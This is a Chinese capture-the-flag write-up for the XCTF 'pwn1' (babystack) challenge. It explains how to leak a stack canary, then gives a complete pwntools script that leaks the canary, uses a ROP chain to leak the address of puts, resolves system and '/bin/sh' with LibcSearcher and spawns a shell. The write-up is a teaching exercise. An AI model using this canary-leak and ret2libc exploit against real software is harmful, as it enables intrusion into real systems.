[攻防世界 pwn]——pwn1（内涵peak小知识）

[攻防世界 pwn]——pwn1

• 题目地址：https://adworld.xctf.org.cn/
• 题目：
  

peak小知识

这道题目的关键就是泄露canary，通常我们泄露canary有两种方法，遇见printf函数，并且有格式化字符串漏洞的我们可以直接计算偏移利用%{offest}$s，打印出来。当然也可以用 % {offest} $p直接打印出canary 的值。
遇见可以利用的栈溢出gets函数，如果有puts函数，或者printf("%s", **)的我们也可以直接泄露出来它。首先我们要清楚canary的位置，在ebp + 8的位置。并且第一个字符为’\x00’，目的就是为了截断防止泄露出来canary，我们可以将其’\x00’覆盖为一个非零的值。这样就可以打印出canary了。该题利用的就是这一思路。

解题

还是先checksec 一下，开启了full relro意味着got表无法修改

在IDA中，查看一下

将里面的字符打印出来而已，区别是前三句有回车，第四句没有

将读取的字符转为数字

思路

利用输入1，写入可以泄露出canary的字符串。
利用输入2，泄露canary
再次利用输入1, 写入我们想要执行的rop链
利用输入3, 退出程序，同时执行rop链
接着按照我们的思路就可以了
就变成了ret2libc问题
leek出一个地址，找libc算偏移。找system, ‘/bin/sh’。执行

exploit

from pwn import *
from LibcSearcher import *
p = remote('111.200.241.244',35224)
elf = ELF("./babystack")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0000000000400908
pop_rdi = 0x0000000000400a93

p.sendlineafter('>> ','1')
payload = 'a' * (0x90 - 8) 
p.sendline(payload)  # 等价于p.send('a' * 0x88 + '\n')
p.sendlineafter('>> ','2')
p.recvuntil('aaaa\n')
canary = u64(p.recv(7).rjust(8,'\x00'))
payload1 = 'a' * (0x90 - 8) + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('>> ','1')
p.send(payload1)
p.sendlineafter('>> ','3')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_addr +: " + hex(puts_addr)
)
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
p.sendlineafter('>> ','1')
payload2 = 'a' * (0x90 - 8) + p64(canary) + 'a' * 8 + p64(pop_rdi) + p64(binsh) + p64(system)
p.send(payload2)
p.sendlineafter('>> ','3')
p.interactive()